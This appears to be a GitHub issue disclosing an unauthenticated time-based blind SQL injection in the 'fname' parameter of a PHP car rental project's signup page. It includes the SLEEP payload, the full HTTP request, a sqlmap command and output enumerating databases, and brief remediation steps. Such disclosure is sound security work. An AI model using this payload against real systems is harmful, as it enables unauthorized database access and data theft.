

New issue



projectworlds Car Rental Project Project V1.0 /signup.php SQL injection #7

Open



3507998897 opened 2 weeks ago



projectworlds Car Rental Project Project V1.0 /signup.php SQL injection

NAME OF AFFECTED PRODUCT(S)

- Car Rental Project

Vendor Homepage

- <https://projectworlds.in/free-projects/php-projects/car-rental-project-in-php-and-mysql/>

AFFECTED AND/OR FIXED VERSION(S)

submitter

- wulg

Vulnerable File

- /signup.php

VERSION(S)

- V1.0

Software Link

- <https://github.com/projectworlds32/Car-Rental-Syatem-PHP-MYSQL/archive/master.zip>

PROBLEM TYPE

Vulnerability Type

- SQL injection

Root Cause

- A SQL injection vulnerability was identified within the "/signup.php" file of the "Car Rental Project" project. The root cause lies in the fact that attackers can inject malicious code via the parameter "fname". This input is then directly utilized in SQL queries without undergoing proper sanitization or validation processes. As a result, attackers are able to fabricate input values, manipulate SQL queries, and execute unauthorized operations.

Impact

- Exploiting this SQL injection vulnerability allows attackers to gain unauthorized access to the database, cause sensitive data leakage, tamper with data, gain complete control over the system, and even disrupt services. This poses a severe threat to both the security of the system and the continuity of business operations.

DESCRIPTION

- During the security assessment of "Car Rental Project", I detected a critical SQL injection vulnerability in the "/signup.php" file. This vulnerability is attributed to the insufficient validation of user input for the "fname" parameter. This inadequacy enables attackers to inject malicious SQL queries. Consequently, attackers can access the database without proper authorization, modify or delete data, and obtain sensitive information. Immediate corrective actions are essential to safeguard system security and uphold data integrity.

No login or authorization is required to exploit this vulnerability

Vulnerability details and POC

Vulnerability location:

- "fname" parameter

Payload:

```
Parameter: fname (POST)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: fname=123' AND (SELECT 9685 FROM (SELECT(SLEEP(5)))ymsA) AND 'oiqP'='oiqP&phone=112345
_no=123&gender=Select Gender&location=123&save=Submit Details
```



Vulnerability Request Packet

```
POST /Car-Rental-Syatem-PHP-MYSQL-master/signup.php HTTP/1.1
Host: 10.32.121.227
Content-Length: 106
Cache-Control: max-age=0
Origin: http://10.32.121.227
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Ch
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,
Referer: http://10.32.121.227/Car-Rental-Syatem-PHP-MYSQL-master/signup.php
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: PHPSESSID=9r27uqrkbn613q8k2t8u47jb6k
Connection: keep-alive
```



```
fname=123&phone=112345&email=1%40gmail.com&id_no=123&gender=Select+Gender&location=123&save=Sub
```

The following are screenshots of some specific information obtained from testing and running with the sqlmap tool:

```
sqlmap -r vuln.txt --dbs
```



```
[*] starting @ 12:57:19 /2025-04-25/

[12:57:19] [INFO] parsing HTTP request from 'D:\网安\test\vuln.txt'
[12:57:20] [INFO] resuming back-end DBMS 'mysql'
[12:57:20] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: fname (POST)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: fname=123' AND (SELECT 9685 FROM (SELECT(SLEEP(5)))ymSA) AND 'oiqP'='oiqP&phone=112345&email=1@gmail.com&id_no=123&gender>Select Gender&location=123&save=Submit Details
---
[12:57:20] [INFO] the back-end DBMS is MySQL
web application technology: PHP 7.3.4, Apache 2.4.39
back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)
[12:57:20] [INFO] fetching database names
[12:57:20] [INFO] fetching number of databases
[12:57:20] [INFO] resumed: 2
[12:57:20] [INFO] resumed: information_schema
[12:57:20] [INFO] resumed: cars
available databases [2]:
[*] cars
[*] information_schema

[12:57:20] [INFO] fetched data logged to text files under 'C:\Users\Lenovo\AppData\Local\sqlmap\output\10.32.121.227'

[*] ending @ 12:57:20 /2025-04-25/
```

1. Employ prepared statements and parameter binding:

2. Conduct input validation and filtering:

3. Minimize database user permissions:

Ensure that the account used to connect to the database has only the minimum required permissions. Avoid using accounts with elevated privileges (such as 'root' or 'admin') for day - to - day operations.

Assignees

Labels

Projects

No projects

Milestone

No milestone

Relationships

None yet

Development

 Code with Copilot Agent Mode

▼

No branches or pull requests

Participants

